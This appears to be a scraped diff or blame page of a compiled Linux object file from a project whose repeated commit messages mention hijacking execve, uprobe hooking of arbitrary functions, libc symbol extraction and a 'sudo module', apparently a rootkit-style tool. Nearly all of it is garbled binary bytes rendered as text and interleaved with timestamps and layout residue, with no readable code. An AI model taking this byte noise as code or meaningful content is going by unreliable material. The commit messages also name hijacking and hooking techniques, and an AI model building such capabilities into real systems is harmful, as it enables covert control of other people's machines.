-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								E<00>
 <00>
 								<00><00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+<00>
 								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								"
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>"
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								E0
 								{>
 								<00>
L
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>Z
 								Jh
 								<00>v
 								<00><00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								Y<00>
 								<00>
 								B<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
 								<00><00>
 <00>
 								<00><00>
 								:<00>
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								G	#
 								Z0
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								=
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								EJ
 								<00>	X
 <00>
 								@	<00>
 								<00><00>
 								]
<00>
 								<00><00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								s
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>#
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								=
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								d
M
 								<00>	T
 								<00>i
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>{
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								s<00>
 								w<00>
 								<00>	<00>
 								#
 								<00>
 								<00><00>
 								<00><00>
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
 								b<00>
 								<00><00>
 <00>
 								<
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
 								<00>
<00>
 								<00>
<00>
 								<00><00>
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								W<00>
 								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								"
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>.
 								:
 								?X
 								]
 								<00>o
 								Hu
 								w
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								{
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								;
<00>
 								<00>
 								<00><00>
 								<00><00>
 								r<00>
 								<00><00>
 								#<00>
 								+<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
 								`
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>*
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								/
 								<00>=
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>Y
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+n
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								|
 								<00><00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
 								<00>
<00>
 								<00>
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								H
 								<00>
 								<00>-
 								<00>;
 								<00>I
 								S	W
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								[
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								-<00>
 								<00>
<00>
 								<00><00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								^<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
 								'<00>
 								<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								@
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								C
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								l
!
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>.
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
;
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								JH
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								IU
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								b
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								k<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								G<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								g<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								y
 								<00>
 								<00>
 
 								<00>B
 								GO
 								g\
 								yi
 								<00>	v
 								<00><00>
 								<00>
 								<00>
 								X<00>
 								<00><00>
 								<00>
 								<00>
<00>
 								<00>
 								z<00>
 								<00><00>
 								<00>
 								<00>
 								<00>"
 								<00>/
 								<00><
 									I
 								*	V
 								Rc
 								iq
 								<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								d<00>
 								{<00>
 								R<00>
 
 								T
 								w'
 								<00>5
 								<00>C
 								<00>	Q
 								<00>
 								_
 								<00>m
 {
 								X<00>
 								~<00>
 								<00>
 								<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00><00>
 								<00>
 #
 
 ?
 								ZM
 								<00>[
 								<00>i
 								bw
 								&
 								d3
 								y	M
 								<00>Z
 								<00>
 								g
 								e<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								$<00>
 								<00><00>
 								P
<00>
 <00>
 <00>
 								l
 								/
 								EI
 								W
 								<00>
q
 								<00>
 								P<00>
 								G<00>
 								g<00>
 								y<00>
 								<<00>
 								<00>	<00>
 								#
 								<00>
 								<00>
 								E+
 								<00>
8
 								PE
 								<R
 								#`
 								<00>l
 								'y
 								<00><00>
 								E<00>
 								<00>	<00>
 								<00><00>
 								<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								d<00>
 								<00>
 								<00>
 								<00>
 								E'
 								<00>
4
 								PA
 								<N
 								#b
 								<00>n
 								<00>z
 								+<00>
 								<00><00><00>
 								:<00><00>
 								<00><00><00>
 								"<00>
 								<00><
 								<00>Z
 								<00>bty
 								<00><00>
 								<00><00>
 
 								<00>
 								u
<00><00><00>
 								<00>
 								<00>
 								<00>;
 								<00>	B<00>i
 								pA<00>
 
<00>
 								<00><00><00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00><00>&
 								<00>
#
 								<00>3
 								<00>><00>y<00>
 								V<00><00><00>
 								}<00><00><00>
 								<00><00>C<00>
 								x<00>*
 								q1
 								 @C`<00><00><00><00><00><00>&<00><00>A <00>@<00>`<00>.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @<00>@<00>(&<00>,<00>1<00>d<>><<3C>T9@ 8"J<00><>]<00><>0X@X@0	q<00><><00>l@<00>@}0<00><>
 								<00>0<00>	&<00><00>	<00><00>	 <00>
 								x<00>@<00>@<00>(	<00>D<00>A<00>